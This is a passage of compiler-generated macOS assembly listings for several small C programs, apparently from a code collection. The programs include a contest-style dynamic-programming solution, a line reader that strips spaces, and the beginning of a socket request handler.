Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %edx addl $1, %edx movl -8(%rbp), %eax addl $4, %eax movslq %eax, %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl %edx, (%rax,%rcx,4) LBB1_16: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %eax movl -8(%rbp), %ecx addl $2, %ecx movslq %ecx, %rdx movq _f@GOTPCREL(%rip), %rcx imulq $48400, %rdx, %rdx ## imm = 0xBD10 addq %rdx, %rcx movl -12(%rbp), %edx addl $1, %edx movslq %edx, %rdx imulq $440, %rdx, %rdx ## imm = 0x1B8 addq %rdx, %rcx movslq -16(%rbp), %rdx cmpl (%rcx,%rdx,4), %eax jl LBB1_18 ## %bb.17: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %edx addl $1, %edx movl -8(%rbp), %eax addl $2, %eax movslq %eax, %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movl -12(%rbp), %ecx addl $1, %ecx movslq %ecx, %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl %edx, (%rax,%rcx,4) LBB1_18: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %eax movslq -8(%rbp), %rdx movq _f@GOTPCREL(%rip), %rcx imulq $48400, %rdx, %rdx ## imm = 0xBD10 addq %rdx, %rcx movl -12(%rbp), %edx addl $1, %edx movslq %edx, %rdx imulq $440, %rdx, %rdx ## imm = 0x1B8 addq %rdx, %rcx movl -16(%rbp), %edx addl $2, %edx movslq %edx, %rdx cmpl (%rcx,%rdx,4), %eax jl LBB1_20 ## %bb.19: ## in Loop: Header=BB1_5 Depth=3 movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movslq -12(%rbp), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movslq -16(%rbp), %rcx movl (%rax,%rcx,4), %edx addl $1, %edx movslq -8(%rbp), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movl -12(%rbp), %ecx addl $1, %ecx movslq %ecx, %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movl -16(%rbp), %ecx addl $2, %ecx movslq %ecx, %rcx movl %edx, (%rax,%rcx,4) LBB1_20: ## in Loop: Header=BB1_5 Depth=3 jmp LBB1_21 LBB1_21: ## in Loop: Header=BB1_5 Depth=3 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB1_5 LBB1_22: ## in Loop: Header=BB1_3 Depth=2 jmp LBB1_23 LBB1_23: ## in Loop: Header=BB1_3 Depth=2 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB1_3 LBB1_24: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_25 LBB1_25: ## in Loop: Header=BB1_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB1_1 LBB1_26: leaq L_.str(%rip), %rdi leaq -20(%rbp), %rsi movb $0, %al callq _scanf movl $1, -24(%rbp) LBB1_27: ## =>This Loop Header: Depth=1 ## Child Loop BB1_29 Depth 2 movl -24(%rbp), %eax cmpl -20(%rbp), %eax jg LBB1_49 ## %bb.28: ## in Loop: Header=BB1_27 Depth=1 leaq L_.str.1(%rip), %rdi leaq -28(%rbp), %rsi leaq -32(%rbp), %rdx movb $0, %al callq _scanf movq _x@GOTPCREL(%rip), %rax movl $0, 12(%rax) movq _x@GOTPCREL(%rip), %rax movl $0, 8(%rax) movq _x@GOTPCREL(%rip), %rax movl $0, 4(%rax) movq _x@GOTPCREL(%rip), %rax movl $0, (%rax) movl $1, -36(%rbp) LBB1_29: ## Parent Loop BB1_27 Depth=1 ## => This Inner Loop Header: Depth=2 movl -36(%rbp), %eax cmpl -28(%rbp), %eax jg LBB1_32 ## %bb.30: ## in Loop: Header=BB1_29 Depth=2 leaq L_.str(%rip), %rdi leaq -40(%rbp), %rsi movb $0, %al callq _scanf movl -40(%rbp), %eax cltd idivl -32(%rbp) movslq %edx, %rcx movq _x@GOTPCREL(%rip), %rax movl (%rax,%rcx,4), %edx addl $1, %edx movq _x@GOTPCREL(%rip), %rax movl %edx, (%rax,%rcx,4) ## %bb.31: ## in Loop: Header=BB1_29 Depth=2 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB1_29 LBB1_32: ## in Loop: Header=BB1_27 Depth=1 movl -24(%rbp), %esi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf movl $0, -44(%rbp) cmpl $2, -32(%rbp) jne LBB1_34 ## %bb.33: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -48(%rbp) ## 4-byte Spill movq _x@GOTPCREL(%rip), %rax movl 4(%rax), %eax addl $1, %eax movl $2, %ecx cltd idivl %ecx movl %eax, %ecx movl -48(%rbp), %eax ## 4-byte Reload addl %ecx, %eax movl %eax, -44(%rbp) jmp LBB1_47 LBB1_34: ## in Loop: Header=BB1_27 Depth=1 cmpl $3, -32(%rbp) jne LBB1_39 ## %bb.35: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -44(%rbp) movq _x@GOTPCREL(%rip), %rax movl 4(%rax), %eax movq _x@GOTPCREL(%rip), %rcx cmpl 8(%rcx), %eax jl LBB1_37 ## %bb.36: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax movl 8(%rax), %eax movl %eax, -52(%rbp) ## 4-byte Spill movq _x@GOTPCREL(%rip), %rax movl 4(%rax), %eax movq _x@GOTPCREL(%rip), %rcx subl 8(%rcx), %eax addl $2, %eax movl $3, %ecx cltd idivl %ecx movl %eax, %ecx movl -52(%rbp), %eax ## 4-byte Reload addl %ecx, %eax addl -44(%rbp), %eax movl %eax, -44(%rbp) jmp LBB1_38 LBB1_37: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax movl 4(%rax), %eax movl %eax, -56(%rbp) ## 4-byte Spill movq _x@GOTPCREL(%rip), %rax movl 8(%rax), %eax movq _x@GOTPCREL(%rip), %rcx subl 4(%rcx), %eax addl $2, %eax movl $3, %ecx cltd idivl %ecx movl %eax, %ecx movl -56(%rbp), %eax ## 4-byte Reload addl %ecx, %eax addl -44(%rbp), %eax movl %eax, -44(%rbp) LBB1_38: ## in Loop: Header=BB1_27 Depth=1 jmp LBB1_46 LBB1_39: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax cmpl $0, 4(%rax) jle LBB1_41 ## %bb.40: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax movl 4(%rax), %eax subl $1, %eax movslq %eax, %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movq _x@GOTPCREL(%rip), %rcx movslq 8(%rcx), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movq _x@GOTPCREL(%rip), %rcx movslq 12(%rcx), %rcx movl (%rax,%rcx,4), %eax addl $1, %eax movl %eax, -44(%rbp) LBB1_41: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax cmpl $0, 8(%rax) jle LBB1_43 ## %bb.42: ## in Loop: Header=BB1_27 Depth=1 movl -44(%rbp), %edi movq _x@GOTPCREL(%rip), %rax movl 4(%rax), %eax subl $1, %eax movslq %eax, %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movq _x@GOTPCREL(%rip), %rcx movslq 8(%rcx), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movq _x@GOTPCREL(%rip), %rcx movslq 12(%rcx), %rcx movl (%rax,%rcx,4), %esi addl $1, %esi callq _max movl %eax, -44(%rbp) LBB1_43: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax cmpl $0, 12(%rax) jle LBB1_45 ## %bb.44: ## in Loop: Header=BB1_27 Depth=1 movl -44(%rbp), %edi movq _x@GOTPCREL(%rip), %rax movslq 4(%rax), %rcx movq _f@GOTPCREL(%rip), %rax imulq $48400, %rcx, %rcx ## imm = 0xBD10 addq %rcx, %rax movq _x@GOTPCREL(%rip), %rcx movslq 8(%rcx), %rcx imulq $440, %rcx, %rcx ## imm = 0x1B8 addq %rcx, %rax movq _x@GOTPCREL(%rip), %rcx movl 12(%rcx), %ecx subl $1, %ecx movslq %ecx, %rcx movl (%rax,%rcx,4), %esi callq _max addl $1, %eax movl %eax, -44(%rbp) LBB1_45: ## in Loop: Header=BB1_27 Depth=1 movq _x@GOTPCREL(%rip), %rax movl (%rax), %eax addl -44(%rbp), %eax movl %eax, -44(%rbp) LBB1_46: ## in Loop: Header=BB1_27 Depth=1 jmp LBB1_47 LBB1_47: ## in Loop: Header=BB1_27 Depth=1 movl -44(%rbp), %esi leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf ## %bb.48: ## in Loop: Header=BB1_27 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB1_27 LBB1_49: movl -4(%rbp), %eax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _f,5324000,4 ## @f .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d" L_.str.1: ## @.str.1 .asciz "%d%d" .comm _x,16,4 ## @x L_.str.2: ## @.str.2 .asciz "Case #%d: " L_.str.3: ## @.str.3 .asciz "%d\n" .subsections_via_symbols
the_stack_data/14199737.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 mov w9, #8048 adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 sub sp, sp, #1, lsl #12 ; =4096 sub sp, sp, #3952 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #36] str wzr, [sp, #32] str wzr, [sp, #28] mov x9, sp mov x8, #100 str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #32] subs w8, w8, #100 cset w8, ge mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB0_5 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldrsw x8, [sp, #32] mov x9, #80 mul x9, x8, x9 add x8, sp, #40 add x0, x8, x9 bl _gets subs x8, x0, #0 cset w8, eq mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB0_5 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldrsw x8, [sp, #32] mov x9, #80 mul x9, x8, x9 add x8, sp, #40 ldrsb w8, [x8, x9] subs w8, w8, #0 cset w8, eq mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 ldrsw x8, [sp, #32] mov x9, #80 mul x9, x8, x9 add x8, sp, #40 ldrsb w8, [x8, x9] adds w8, w8, #1 cset w8, ne str w8, [sp, #24] ; 4-byte Folded Spill b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #24] ; 4-byte Folded Reload tbz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #32] add w8, w8, #1 str w8, [sp, #32] b LBB0_1 LBB0_7: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf str wzr, [sp, #28] b LBB0_8 LBB0_8: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #28] ldr w9, [sp, #32] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_11 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_8 Depth=1 ldrsw x8, [sp, #28] mov x9, #80 str x9, [sp, #8] ; 8-byte Folded Spill mul x9, x8, x9 add x8, sp, #40 str x8, [sp, #16] ; 8-byte Folded Spill add x0, x8, x9 bl _remove_whitespace ldr x10, [sp, #8] ; 8-byte Folded Reload ldr x8, [sp, #16] ; 8-byte Folded Reload ldrsw x9, [sp, #28] mul x9, x9, x10 add x0, x8, x9 bl _puts b LBB0_10 LBB0_10: ; in Loop: Header=BB0_8 Depth=1 ldr w8, [sp, #28] add w8, w8, #1 str w8, [sp, #28] b LBB0_8 LBB0_11: ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_13 b LBB0_12 LBB0_12: bl ___stack_chk_fail LBB0_13: mov w0, #0 add sp, sp, #1, lsl #12 ; =4096 add sp, sp, #3952 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _remove_whitespace ; -- Begin function remove_whitespace .p2align 2 _remove_whitespace: ; @remove_whitespace .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] b LBB1_1 LBB1_1: ; =>This Loop Header: Depth=1 ; Child Loop BB1_3 Depth 2 ldr x0, [sp, #8] mov w1, #32 bl _strchr mov x8, x0 str x8, [sp] subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB1_6 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 b LBB1_3 LBB1_3: ; Parent Loop BB1_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x8, [sp] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB1_5 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=2 ldr x8, [sp] ldrb w8, [x8, #1] ldr x9, [sp] strb w8, [x9] ldr x8, [sp] add x8, x8, #1 str x8, [sp] b LBB1_3 LBB1_5: ; in Loop: Header=BB1_1 Depth=1 b LBB1_1 LBB1_6: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Enter up to %d lines: \n" l_.str.1: ; @.str.1 .asciz "Input end\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $8032, %eax ## imm = 0x1F60 callq ____chkstk_darwin subq %rax, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -8020(%rbp) movl $0, -8024(%rbp) movl $0, -8028(%rbp) leaq L_.str(%rip), %rdi movl $100, %esi movb $0, %al callq _printf LBB0_1: ## =>This Inner Loop Header: Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $100, -8024(%rbp) movb %al, -8029(%rbp) ## 1-byte Spill jge LBB0_5 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movslq -8024(%rbp), %rax leaq -8016(%rbp), %rdi imulq $80, %rax, %rax addq %rax, %rdi callq _gets movq %rax, %rcx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpq $0, %rcx movb %al, -8029(%rbp) ## 1-byte Spill je LBB0_5 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movslq -8024(%rbp), %rcx leaq -8016(%rbp), %rax imulq $80, %rcx, %rcx addq %rcx, %rax movsbl (%rax), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $0, %ecx movb %al, -8029(%rbp) ## 1-byte Spill je LBB0_5 ## %bb.4: ## in Loop: Header=BB0_1 Depth=1 movslq -8024(%rbp), %rcx leaq -8016(%rbp), %rax imulq $80, %rcx, %rcx addq %rcx, %rax movsbl (%rax), %eax cmpl $-1, %eax setne %al movb %al, -8029(%rbp) ## 1-byte Spill LBB0_5: ## in Loop: Header=BB0_1 Depth=1 movb -8029(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB0_6 jmp LBB0_7 LBB0_6: ## in Loop: Header=BB0_1 Depth=1 movl -8024(%rbp), %eax addl $1, %eax movl %eax, -8024(%rbp) jmp LBB0_1 LBB0_7: leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf movl $0, -8028(%rbp) LBB0_8: ## =>This Inner Loop Header: Depth=1 movl -8028(%rbp), %eax cmpl -8024(%rbp), %eax jge LBB0_11 ## %bb.9: ## in Loop: Header=BB0_8 Depth=1 movslq -8028(%rbp), %rax leaq -8016(%rbp), %rdi imulq $80, %rax, %rax addq %rax, %rdi callq _remove_whitespace movslq -8028(%rbp), %rax leaq -8016(%rbp), %rdi imulq $80, %rax, %rax addq %rax, %rdi callq _puts ## %bb.10: ## in Loop: Header=BB0_8 Depth=1 movl -8028(%rbp), %eax addl $1, %eax movl %eax, -8028(%rbp) jmp LBB0_8 LBB0_11: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_13 ## %bb.12: xorl %eax, %eax addq $8032, %rsp ## imm = 0x1F60 popq %rbp retq LBB0_13: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _remove_whitespace ## -- Begin function remove_whitespace .p2align 4, 0x90 _remove_whitespace: ## @remove_whitespace .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) LBB1_1: ## =>This Loop Header: Depth=1 ## Child Loop BB1_3 Depth 2 movq -8(%rbp), %rdi movl $32, %esi callq _strchr movq %rax, -16(%rbp) cmpq $0, %rax je LBB1_6 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_3 LBB1_3: ## Parent Loop BB1_1 Depth=1 ## => This Inner Loop Header: Depth=2 movq -16(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB1_5 ## %bb.4: ## in Loop: Header=BB1_3 Depth=2 movq -16(%rbp), %rax movb 1(%rax), %cl movq -16(%rbp), %rax movb %cl, (%rax) movq -16(%rbp), %rax addq $1, %rax movq %rax, -16(%rbp) jmp LBB1_3 LBB1_5: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_1 LBB1_6: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Enter up to %d lines: \n" L_.str.1: ## @.str.1 .asciz "Input end\n" .subsections_via_symbols
the_stack_data/106647.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _parser ; -- Begin function parser .p2align 2 _parser: ; @parser .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] ; kill: def $x8 killed $xzr str xzr, [sp, #8] ldur x0, [x29, #-8] ldr x1, [sp, #16] bl _strtok subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_1 LBB0_1: ldr x1, [sp, #16] mov x0, #0 bl _strtok str x0, [sp, #8] ldr x8, [sp, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldr x0, [sp, #8] bl _strdup str x0, [sp, #8] b LBB0_3 LBB0_3: b LBB0_4 LBB0_4: ldr x0, [sp, #8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _thr_request ; -- Begin function thr_request .p2align 2 _thr_request: ; @thr_request .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 mov w9, #18256 adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 sub sp, sp, #4, lsl #12 ; =16384 sub sp, sp, #1872 add x8, sp, #360 str x8, [sp, #216] ; 8-byte Folded Spill adrp x9, ___stack_chk_guard@GOTPAGE ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] ldr x9, [x9] stur x9, [x29, #-24] str x0, [x8, #160] ldr x8, [x8, #160] ldr w8, [x8] str w8, [sp, #516] ldr w0, [sp, #516] add x1, sp, #3, lsl #12 ; =12288 add x1, x1, #2960 str x1, [sp, #200] ; 8-byte Folded Spill mov x2, #3000 str x2, [sp, #192] ; 8-byte Folded Spill mov w3, #0 str w3, [sp, #208] ; 4-byte Folded Spill bl _recv mov x8, x0 ldr x0, [sp, #200] ; 8-byte Folded Reload ; kill: def $w8 killed $w8 killed $x8 str w8, [sp, #512] ldrsw x9, [sp, #512] mov x8, x0 add x8, x8, x9 strb wzr, [x8] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _parser ldr x2, [sp, #192] ; 8-byte Folded Reload ldr x9, [sp, #216] ; 8-byte Folded Reload mov x8, x0 ldr x0, [sp, #200] ; 8-byte Folded Reload str x8, [x9, #144] adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl ___strcpy_chk ldr x0, [sp, #200] ; 8-byte Folded Reload ldr w8, [sp, #516] str w8, [sp, #212] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #200] ; 8-byte Folded Reload ldr w3, [sp, #208] ; 4-byte Folded Reload mov x8, x0 ldr w0, [sp, #212] ; 4-byte Folded Reload add x2, x8, #1 bl _send ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x8, [x8, #144] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB1_20 b LBB1_1 LBB1_1: ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #144] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB1_20 b LBB1_2 LBB1_2: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF adrp x1, l_.str.4@PAGE add x1, x1, l_.str.4@PAGEOFF bl _fopen ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #136] b LBB1_3 LBB1_3: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x2, [x8, #136] add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2704 mov w1, #256 bl _fgets subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB1_13 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=1 add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #2704 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #128] ldr x8, [x8, #128] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_6 b LBB1_5 LBB1_5: ; in Loop: Header=BB1_3 Depth=1 b LBB1_3 LBB1_6: ; in Loop: Header=BB1_3 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #120] ldr x8, [x8, #120] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_8 b LBB1_7 LBB1_7: ; in Loop: Header=BB1_3 Depth=1 b LBB1_3 LBB1_8: ; in Loop: Header=BB1_3 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #112] ldr x8, [x8, #112] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_10 b LBB1_9 LBB1_9: ; in Loop: Header=BB1_3 Depth=1 b LBB1_3 LBB1_10: ; in Loop: Header=BB1_3 Depth=1 mov x0, #0 adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strtok ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #104] ldr x8, [x8, #104] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_12 b LBB1_11 LBB1_11: ; in Loop: Header=BB1_3 Depth=1 b LBB1_3 LBB1_12: ; in Loop: Header=BB1_3 Depth=1 ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x0, [x8, #120] bl _atoi ldr x8, [sp, #216] ; 8-byte Folded Reload str w0, [sp, #460] ldr w9, [sp, #460] ldrsw x10, [sp, #460] mov x11, #24 str x11, [sp, #176] ; 8-byte Folded Spill mul x11, x10, x11 add x10, sp, #1, lsl #12 ; =4096 add x10, x10, #2704 str x10, [sp, #184] ; 8-byte Folded Spill strb w9, [x10, x11] ldr x0, [x8, #128] mov x1, #0 mov w2, #10 bl _strtoul ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x11, [sp, #176] ; 8-byte Folded Reload ldr x9, [sp, #184] ; 8-byte Folded Reload ldrsw x10, [sp, #460] mul x10, x10, x11 add x9, x9, x10 str x0, [x9, #16] ldr x0, [x8, #112] bl _atoi ldr x8, [sp, #216] ; 8-byte Folded Reload ldr x11, [sp, #176] ; 8-byte Folded Reload ldr x9, [sp, #184] ; 8-byte Folded Reload ldrsw x10, [sp, #460] mul x10, x10, x11 add x9, x9, x10 str w0, [x9, #4] ldr x0, [x8, #104] bl _atoi ldr x10, [sp, #176] ; 8-byte Folded Reload ldr x8, [sp, #184] ; 8-byte Folded Reload ldrsw x9, [sp, #460] mul x9, x9, x10 add x8, x8, x9 str w0, [x8, #8] b LBB1_3 LBB1_13: add x0, sp, #3, lsl #12 ; =12288 add x0, x0, #656 mov w1, #0 mov x2, #2048 adrp x3, l_.str.6@PAGE add x3, x3, l_.str.6@PAGEOFF bl ___sprintf_chk str wzr, [sp, #456] b LBB1_14 LBB1_14: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #456] subs w8, w8, #256 cset w8, ge tbnz w8, #0, LBB1_19 b LBB1_15 LBB1_15: ; in Loop: Header=BB1_14 Depth=1 ldrsw x8, [sp, #456] mov x9, #24 mul x9, x8, x9 add x8, sp, #1, lsl #12 ; =4096 add x8, x8, #2704 add x8, x8, x9 ldr x8, [x8, #16] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB1_17 b LBB1_16 LBB1_16: ; in Loop: Header=BB1_14 Depth=1 ldrsw x8, [sp, #456] mov x9, #24 str x9, [sp, #152] ; 8-byte Folded Spill mul x9, x8, x9 add x8, sp, #1, lsl #12 ; =4096 add x8, x8, #2704 str x8, [sp, #160] ; 8-byte Folded Spill add x8, x8, x9 add x0, x8, #16 bl _localtime ldr x8, [sp, #216] ; 8-byte Folded Reload str x0, [x8, #88] ldr x3, [x8, #88] add x0, sp, #1, 